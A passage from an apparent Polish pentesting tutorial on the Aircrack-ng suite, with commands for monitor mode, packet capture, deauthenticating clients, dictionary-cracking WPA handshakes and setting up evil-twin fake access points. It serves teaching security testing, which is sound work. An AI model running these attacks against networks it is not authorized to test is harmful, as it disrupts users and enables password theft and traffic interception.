<p class="wp-block-paragraph">Jeśli powyższa komenda nie zadziała, spróbuj tej:</p>



<pre class="wp-block-code"><code class="">sudo systemctl restart NetworkManager</code></pre>



<p class="wp-block-paragraph">Za pomocą poniższej komendy sprawdzić status aktywnych interfejsów sieciowych (sprawdzisz, czy Twoja karta sieciowa pracuje w trybie monitorowania):</p>



<pre class="wp-block-code"><code class="">sudo airmon-ng</code></pre>



<p class="wp-block-paragraph">Możesz także ustawić domyślny kanał dla karty sieciowej po wejściu w tryb monitora:</p>



<pre class="wp-block-code"><code class="">sudo airmon-ng --channel &lt;num&gt;</code></pre>



<ul class="wp-block-list">
<li><strong>&lt;num&gt;</strong> &#8211; w tym miejscu podaj numer kanału</li>
</ul>



<h2 class="wp-block-heading">Airodump-ng</h2>



<p class="wp-block-paragraph">Za pomocą tego narzędzia możemy przechwytywać pakiety które krążą w pobliskich sieciach (nie musimy być do nich podłączeni). Oczywiście uprzednio musimy przełączyć naszą kartę sieciową w tryb monitor za pomocą Airmon-ng (patrz wyżej).</p>



<p class="wp-block-paragraph">Za pomocą Airodump-ng możemy przechwycić WPA/WPA2 handshake, z którego możemy potem wydobyć hasło do atakowanej sieci WiFi za pomocą narzędzia Aircrack-ng. Jeśli do komputera podłączony jest odbiornik GPS, Airodump-ng jest w stanie rejestrować współrzędne znalezionych punktów dostępowych.</p>



<p class="wp-block-paragraph">Jeśli chcesz zacząć przechwytywać pakiety wpisz w terminalu poniższą komendę. W miejscu &lt;interface name&gt; wpisz nazwę swojego interfejsu karty będącej w trybie monitorowania:</p>



<pre class="wp-block-code"><code class="">sudo airodump-ng &lt;interface name&gt;</code></pre>



<p class="wp-block-paragraph">Tak wygląda tabelka z przechwyconymi pakietami:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/airodump-ng-poradnik.webp"><img loading="lazy" decoding="async" width="945" height="519" src="https://pentestuj.pl/wp-content/uploads/2024/11/airodump-ng-poradnik.webp" alt="airodump-ng poradnik" class="wp-image-15270" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/airodump-ng-poradnik.webp 945w, https://pentestuj.pl/wp-content/uploads/2024/11/airodump-ng-poradnik-300x165.webp 300w, https://pentestuj.pl/wp-content/uploads/2024/11/airodump-ng-poradnik-768x422.webp 768w" sizes="auto, (max-width: 945px) 100vw, 945px" data-mwl-img-id="15270" /></a></figure>



<p class="wp-block-paragraph">Poniżej objaśnienie co oznaczają poszczególne kolumny w tabelce:</p>



<ul class="wp-block-list">
<li><strong>BSSID</strong> &#8211; adres MAC punktu dostępowego (AP, ang. Access Point). </li>



<li><strong>PWR</strong> – poziom sygnału. Im wartość jest większa, tym punkt dostępowy znajduje się bliżej Twojej karty sieciowej. Oczywiście zasięg w dużej mierze zależy od tego jaką antenę posiada Twoja karta sieciowa.</li>



<li><strong>Beacons</strong> &#8211; liczba pakietów komunikatów wysyłanych przez punkt dostępowy.</li>



<li><strong>#Data</strong> &#8211; liczba przechwyconych pakietów danych, w tym pakietów transmisji danych.</li>



<li><strong>#/s</strong> &#8211; liczba pakietów danych na sekundę mierzona w ciągu ostatnich 10 sekund.</li>



<li><strong>CH</strong> – numer kanału.</li>



<li><strong>MB</strong> &#8211; maksymalna prędkość obsługiwana przez punkt dostępowy. Jeśli MB = 11, dany punkt dostępowy pracuje w standardzie 802.11b, jeśli MB = 22, to 802.11b+, a do 54 to 802.11g. Wyższe wartości oznaczają standard 802.11n lub 802.11ac.</li>



<li><strong>ENC</strong> – używany algorytm szyfrowania. OPN oznacza brak szyfrowania.</li>



<li><strong>CIPHER</strong> – rodzaj klucza.</li>



<li><strong>AUTH</strong> – używany protokół uwierzytelniania.</li>



<li><strong>ESID</strong> – nazwa sieci bezprzewodowej.</li>
</ul>



<p class="wp-block-paragraph">Ograniczenie nasłuchiwania do jednego punktu dostępowego:</p>



<pre class="wp-block-code"><code class="">sudo airodump-ng -bssid AA:BB:CC:DD:EE:FF -c &lt;num&gt; &lt;interface name&gt;</code></pre>



<ul class="wp-block-list">
<li><strong>-bssid</strong> – adres MAC badanego punktu dostępowego.</li>



<li><strong>-c</strong> – numer kanału na którym pracuje wybrany punkt dostępowy. Można wybrać jeden kanał, np. -c 7 lub kilka kanałów -c 1, 7, 11.</li>



<li><strong>&lt;interface name&gt;</strong> &#8211; nazwa interfejsu naszej karty sieciowej będącej w trybie monitor.</li>
</ul>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/airodump-ng-tutorial.webp"><img loading="lazy" decoding="async" width="948" height="258" src="https://pentestuj.pl/wp-content/uploads/2024/11/airodump-ng-tutorial.webp" alt="airodump-ng tutorial" class="wp-image-15271" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/airodump-ng-tutorial.webp 948w, https://pentestuj.pl/wp-content/uploads/2024/11/airodump-ng-tutorial-300x82.webp 300w, https://pentestuj.pl/wp-content/uploads/2024/11/airodump-ng-tutorial-768x209.webp 768w" sizes="auto, (max-width: 948px) 100vw, 948px" data-mwl-img-id="15271" /></a></figure>



<p class="wp-block-paragraph">Wyniki naszego skanowania możemy zapisać do pliku za pomocą flagi -w. W poniższym przykładzie fraza „capture” jest nazwą pliku, który zostanie utworzony.</p>



<pre class="wp-block-code"><code class="">sudo airodump-ng &lt;interface name&gt; -w capture</code></pre>



<p class="wp-block-paragraph">Możemy także zapisać wyniki skanowania dla wybranego punktu dostępowego:</p>



<pre class="wp-block-code"><code class="">sudo airodump-ng -bssid AA:BB:CC:DD:EE:FF -c &lt;num&gt; -w capture &lt;interface name&gt;</code></pre>



<p class="wp-block-paragraph">Wyniki skanowania są zapisywane w lokalizacji, w której uruchomiliśmy Airodump-ng. Jeśli chcesz sprawdzić swoją lokalizację, wydaj komendę:</p>



<pre class="wp-block-code"><code class="">sudo pwd</code></pre>



<h2 class="wp-block-heading">Aireplay-ng</h2>



<p class="wp-block-paragraph">Jest to narzędzie do wstrzykiwania pakietów i manipulowania ruchem w sieci bezprzewodowej. Obejmuje różne metody ataków. Bardzo ciekawym i przydatnym atakiem jest deautentykacja, której przyjrzymy się bliżej.</p>



<p class="wp-block-paragraph">Deautentykacja polega na wysyłaniu do wybranego urządzenia oraz powiązanego z nim punktu dostępowego serii ramek deautentykacyjnych. Ramki te podszywają się pod prawdziwe pakiety, które nakazują odłączenie się urządzenia od punktu dostępowego. W rezultacie urządzenie zostaje odłączone od sieci WiFi i jest zmuszone do ponownego podłączenia się. Podczas gdy urządzenie łączy się z punktem dostępowym, my jako atakujący możemy przechwycić handshake, z którego możemy potem wyciągnąć hasło za pomocą Aircrack-ng. Deautentykacja bardzo często jest etapem pośrednim w innych rodzajach ataków.</p>



<p class="wp-block-paragraph">Zanim użyjemy Aireplay-ng, musimy uprzednio przechwycić pakiety za pomocą Airodump-ng. Dzięki temu będziemy znać MAC punktu dostępowego ofiary, numer kanału na którym pracuje, a także MAC klienta, którego chcemy odłączyć.</p>



<p class="wp-block-paragraph">Przykładowa komenda:</p>



<pre class="wp-block-code"><code class="">sudo aireplay-ng -0 100 -a AA:BB:CC:DD:EE:FF -c GG:HH:II:JJ:KK:LL &lt;interface name&gt;</code></pre>



<ul class="wp-block-list">
<li><strong>-0 </strong>&#8211; oznacza deautentykację,</li>



<li><strong>100</strong> – oznacza, że zostanie wysłane 100 ramek deautentykacyjnych. Oczywiście ilość ramek może być dowolna. 1 oznacza wysyłanie ramek jedna po drugiej, w sposób ciągły.</li>



<li><strong>-a AA:BB:CC:DD:EE:FF</strong> – jest to adres MAC punktu dostępowego.</li>



<li><strong>-c GG:HH:II:JJ:KK:LL</strong> – jest to adres MAC klienta, którego chcemy odłączyć od punktu dostępowego. Jeśli nie wpiszemy tego parametru, zostaną odłączeni wszyscy klienci, którzy są podłączeni do danego punktu dostępowego.</li>



<li><strong>&lt;interface name&gt;</strong> – nazwa interfejsu.</li>
</ul>



<h2 class="wp-block-heading">Aircrack-ng</h2>



<p class="wp-block-paragraph">Jest to główne, flagowe narzędzie omawianego pakietu. Służy do łamania kluczy szyfrowania sieci bezprzewodowych, takich jak WEP, WPA, WPA2. Wykorzystywane są do tego różne algorytmy do odzyskiwania kluczy szyfrujących. Dzięki Aircrack-ng&nbsp; można uzyskać nieautoryzowany dostęp do sieci.</p>



<p class="wp-block-paragraph">W pierwszej kolejności musimy przechwycić pakiety za pomocą Airodump-ng. Następnie musimy przechwycić handshake. W celu przyspieszenia ataku możemy wykorzystać deautentykację. Dzięki temu odłączymy naszą ofiarę od punktu dostępowego. Po ponownym podłączeniu przechwycimy handshake . Mając już przechwycony handshake, możemy za pomocą Aircrack-ng odzyskać klucz przy użyciu ataku słownikowego.</p>



<p class="wp-block-paragraph">Przykładowa komenda łamiąca klucz WPA:</p>



<pre class="wp-block-code"><code class="">sudo aircrack-ng -w dictionary.txt -b AA:BB:CC:DD:EE:FF result.cap</code></pre>



<ul class="wp-block-list">
<li><strong>-w dictionary.txt</strong> – słownik za pomocą którego będziemy łamać handshake,</li>



<li><strong>-b AA:BB:CC:DD:EE:FF</strong> – adres MAC punktu dostępowego ofiary,</li>



<li><strong>result.cap</strong> – plik z przechwyconym handhake.</li>
</ul>



<h2 class="wp-block-heading">Airbase-ng</h2>



<p class="wp-block-paragraph">Airbase-ng to narzędzie do tworzenia fałszywych punktów dostępowych (AP). Jest to niezwykle przydatne podczas ataków typu man-in-the-middle oraz ataków socjotechnicznych. Za pomocą Airbase-ng możemy emulować istniejące punkty dostępowe (atak evil twin) lub tworzyć nowe (atak fake access point), a następnie nakłonić pobliskie urządzenia do połączenia się z naszym fałszywym punktem dostępowym. Jeśli dane urządzenie podłączy się, możemy monitorować jego ruch sieciowy, a także manipulować nim.</p>



<p class="wp-block-paragraph">Jeśli chcemy emulować istniejący punkt dostępowy musimy w pierwszej kolejności zebrać informacje o danej sieci oraz podłączonych do niej klientach. Po zabraniu niezbędnych informacji możemy użyć Airbase-ng do stworzenia fałszywego puntu dostępowego, który będzie wabił do połączenia się z nim niczego nieświadomych użytkowników. W następstwie ofiary narażone są na ujawnienie poufnych informacji.</p>



<p class="wp-block-paragraph">Przykładowa komenda tworząca punkt dostępowy:</p>



<pre class="wp-block-code"><code class="">sudo airbase-ng -a &lt;AA:BB:CC:DD:EE:FF&gt; --essid &lt;FakeAP&gt; --channel &lt;#&gt; &lt;interface name&gt; -z 2</code></pre>



<ul class="wp-block-list">
<li><strong><code>-a &lt;AA:BB:CC:DD:EE:FF&gt;</code> </strong><code>- adres MAC fałszywego punktu,</code></li>



<li><strong>&#8211;essid &lt;FakeAP&gt;</strong> &#8211; nazwa naszej fałszywej sieci,</li>



<li><strong>&#8211;channel &lt;#&gt;</strong> &#8211; numer kanału dla fałszywego punktu dostępowego,</li>



<li><strong>&lt;interface name&gt;</strong> – nazwa naszego interfejsu,</li>



<li><strong>-z 2</strong> – za pomocą tego parametru możemy ustalić, że nasz fałszywy punkt dostępowy korzysta z WPA2. Wartość -z 1 oznacza WPA.</li>
</ul>



<p class="wp-block-paragraph">Oczywiście należy pamiętać o tym, że oprócz uruchomienia naszego fałszywego punktu dostępowego, musimy także zapewnić połączenie internetowe, żeby nasza ofiara mogła&nbsp; w pełni korzystać z Internetu po podłączeniu się do naszego AP.</p>



<h2 class="wp-block-heading">Airgraph-ng</h2>



<p class="wp-block-paragraph">Za pomocą Airgraph-ng wygenerujesz w formie graficznej przechwycony ruch sieciowy. Airgraph-ng nie jest preinstalowany w pakiecie Aircrack-ng, tak więc należy go zainstalować:</p>



<pre class="wp-block-code"><code class="">sudo apt-get update -y
sudo apt-get install -y airgraph-ng</code></pre>



<p class="wp-block-paragraph">Przed użyciem Airgraph-ng musisz przechwycić pakiety i zapisać je do pliku csv lub txt.</p>



<p class="wp-block-paragraph">Przełącz swoją kartę sieciową w tryb monitorowania. Następnie włącz nasłuchiwanie ruchu sieciowego za pomocą Airodump-ng. W komendzie użyj flagi -w w celu zapisania przechwyconych danych do pliku:</p>



<pre class="wp-block-code"><code class="">sudo airodump-ng -w capture &lt;interface name&gt;</code></pre>



<p class="wp-block-paragraph">Pamiętaj, że plik zostanie zapisany w lokalizacji w której uruchomiony został Airodump-ng.</p>



<p class="wp-block-paragraph">Teraz utworzymy graficzną interpretację naszych przechwyconych danych korzystając z narzędzia Airgraph-ng:</p>



<pre class="wp-block-code"><code class="">sudo airgraph-ng -i capture.csv -o capture.png -g CAPR</code></pre>



<ul class="wp-block-list">
<li><strong>-i capture.csv</strong> – wskazujemy nasz plik csv, który utworzyliśmy za pomocą Airodump-ng,</li>



<li><strong>-o capture.png</strong> – wskazujemy nazwę dla pliku wynikowego,</li>



<li><strong>-g </strong>– typ grafu, do wyboru mamy CAPR lub CPG. CAPR pokazuje jakie urządzenia są aktualnie podłączone do punktów dostępowych. Natomiast CPG pokazuje nam które urządzenia nie są aktualnie podłączone do żadnego punktu dostępowego. Na grafie możemy zobaczyć nazwy punktów dostępowych z którymi były wcześniej połączone.&nbsp; </li>
</ul>
<p>Artykuł <a href="https://pentestuj.pl/aircrack-ng-narzedzie-do-testowania-bezpieczenstwa-sieci-wifi/">Aircrack-ng – narzędzie do testowania bezpieczeństwa sieci WiFi</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://pentestuj.pl/aircrack-ng-narzedzie-do-testowania-bezpieczenstwa-sieci-wifi/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
